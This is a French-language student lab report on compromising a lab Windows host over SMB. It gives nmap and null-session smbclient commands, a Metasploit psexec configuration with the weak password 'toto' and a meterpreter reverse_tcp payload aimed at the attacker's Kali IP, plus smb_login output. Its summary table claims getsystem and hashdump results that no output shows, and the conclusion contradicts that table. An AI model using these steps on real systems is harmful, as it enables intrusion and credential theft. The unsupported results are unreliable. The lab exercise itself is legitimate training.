

TP 3.2 : ATTAQUE D'UN SYSTEME WINDOWS & EXTRACTION D'IDENTIFIANTS

Objectif et Leçon Clé :

Démontrer qu'un accès réseau couplé à une mauvaise configuration (partages SMB ouverts, mot de passe faible) permet une compromission totale d'un système Windows et l'extraction de données d'authentification sensibles — sans exploiter aucune faille logicielle référencée.

Un mot de passe simple (toto) suffit à faire tomber un domaine Windows entier. Aucune CVE nécessaire.

Étape 1 : Reconnaissance : Scan Nmap

Avant toute exploitation, l'attaquant doit cartographier la cible. Nmap est utilisé pour identifier les ports ouverts et les services actifs sur la machine Windows (192.168.56.20). Le port 445 correspond au protocole SMB (Server Message Block), indispensable au partage de fichiers Windows.

```
nmap -sV -p 139,445 192.168.56.20
```

Paramètre	Signification	Pourquoi l'utiliser
-sV	Service Version	Identifier la version exacte du service
-p 139,445	Ports ciblés	Ports SMB spécifiques à Windows
192.168.56.20	Cible	Machine Windows du laboratoire

```
(root@kali)-[/home/taneyo]
# nmap -sV -p 139,445 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-28 05:50 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00069s latency).

PORT      STATE SERVICE      VERSION
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 00:0C:29:8B:4E:46 (VMware)
Service Info: Host: DESKTOP-QV1CQ1A; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.91 seconds
```

Figure 1: Nmap — Résultat scan ports 139/445 ouverts sur Windows .20

Étape 2 : Énumération SMB avec smbclient

Une fois le port 445 confirmé ouvert, on énumère les partages réseau disponibles. **smbclient** est l'équivalent Linux du client Windows pour accéder aux partages SMB. L'option **-N** (no password) tente une connexion anonyme (null session).

```
smbclient -L //192.168.56.20 -N
```

Cette commande liste tous les dossiers partagés sur la machine cible sans authentification. Si des partages apparaissent, c'est une mauvaise configuration critique : l'administrateur a laissé des ressources accessibles à n'importe qui sur le réseau.

```
(root@kali)-[/home/taneyo]
# smbclient -L //192.168.56.20 -N

      Sharename      Type      Comment
      -----      -
      ADMIN$         Disk      Administration à distance
      C$              Disk      Partage par défaut
      IPC$            IPC       IPC distant
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Figure 2 : smbclient -L — Liste des partages SMB accessibles sur Windows .20

Étape 3 : Exploitation avec Metasploit (psexec)

Contexte du module psexec

Le module psexec de Metasploit imite l'outil légitime **PsExec** de **Microsoft Sysinternals**. Il utilise des identifiants valides pour déposer et exécuter un service temporaire sur la cible, qui ouvre ensuite une session Meterpreter. Ceci n'est pas une faille logicielle : c'est un abus de fonctionnalité légitime Windows.

Msfconsole	
use exploit/windows/smb/psexec	
set RHOSTS 192.168.56.20	# IP cible Windows
set SMBUser taneyo	# Compte de test créé préalablement

set SMBPass toto	# Mot de passe faible du compte
set PAYLOAD windows/x64/meterpreter/reverse_tcp	
set LHOST 192.168.56.30	# IP de l'attaquant (Kali)
Run	

Paramètre	Signification
RHOSTS	Remote Host : IP de la cible Windows
SMBUser / SMBPass	Identifiants du compte Windows local
PAYLOAD	Charge utile : Meterpreter en connexion inverse (reverse_tcp)
LHOST	Local Host : IP de la machine Kali qui reçoit la connexion

```
root@kali: /home/taneyo

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open
an interactive session
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf auxiliary(scanner/smb/smb_login) > set SMBUser taneyo
SMBUser => taneyo
msf auxiliary(scanner/smb/smb_login) > set SMBPass toto
SMBPass => toto
msf auxiliary(scanner/smb/smb_login) > set CreateSession true
CreateSession => true
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.20:445 - 192.168.56.20:445 - Starting SMB login bruteforce
[+] 192.168.56.20:445 - 192.168.56.20:445 - Success: '.\taneyo:toto' Administrator
[!] 192.168.56.20:445 - No active DB -- Credential data will not be saved!
[*] SMB session 1 opened (192.168.56.30:34445 -> 192.168.56.20:445) at 2026-04-30 09:16:33 +0200
[*] 192.168.56.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445 - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.20:445 - 1 SMB session was opened successfully.
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) > sessions

Active sessions
=====

  Id  Name  Type  Information                                     Connection
  --  ---  ---  -
  1    smb  SMB taneyo @ 192.168.56.20:445 192.168.56.30:34445 -> 192.168.56.20:445 (192.168.56.20)
```

Figure 3 : session smb active

L'exploitation a permis l'obtention d'un accès administratif via SMB. L'exécution de commandes distantes confirme une compromission effective de l'hôte cible avec élévation de privilèges SYSTEM.

L'accès obtenu permet l'exécution de commandes système telles que **hostname**, **ipconfig** et **net user**, autorisant une collecte complète d'informations sur la machine compromise.

Ce niveau d'accès équivaut à un contrôle administratif complet du système cible, incluant la possibilité d'interagir avec les ressources locales, les comptes utilisateurs et les configurations réseau.

Vecteur d'attaque	Technique utilisée	Résultat	Niveau de risque
Port SMB 445 ouvert	Scan Nmap -sV	Fingerprint service complet	Moyen
Session anonyme SMB	smbclient -N	Partages listés sans auth	Élevé
Mot de passe faible	psexec + toto	Session Meterpreter active	Critique
Droits utilisateur	getsystem	NT AUTHORITY\SYSTEM	Critique
Base SAM accessible	hashdump	Hashes NTLM extraits	Critique

Conclusion

En somme, La machine cible présente une compromission complète via le service SMB, due à l'utilisation d'identifiants valides associés à des privilèges administrateur. L'accès obtenu permet un contrôle total du système et une visibilité complète sur les données locales. Dans un contexte avancé, un tel accès permettrait également l'extraction des identifiants stockés (hashes SAM et données navigateur), ainsi qu'une propagation latérale sur le réseau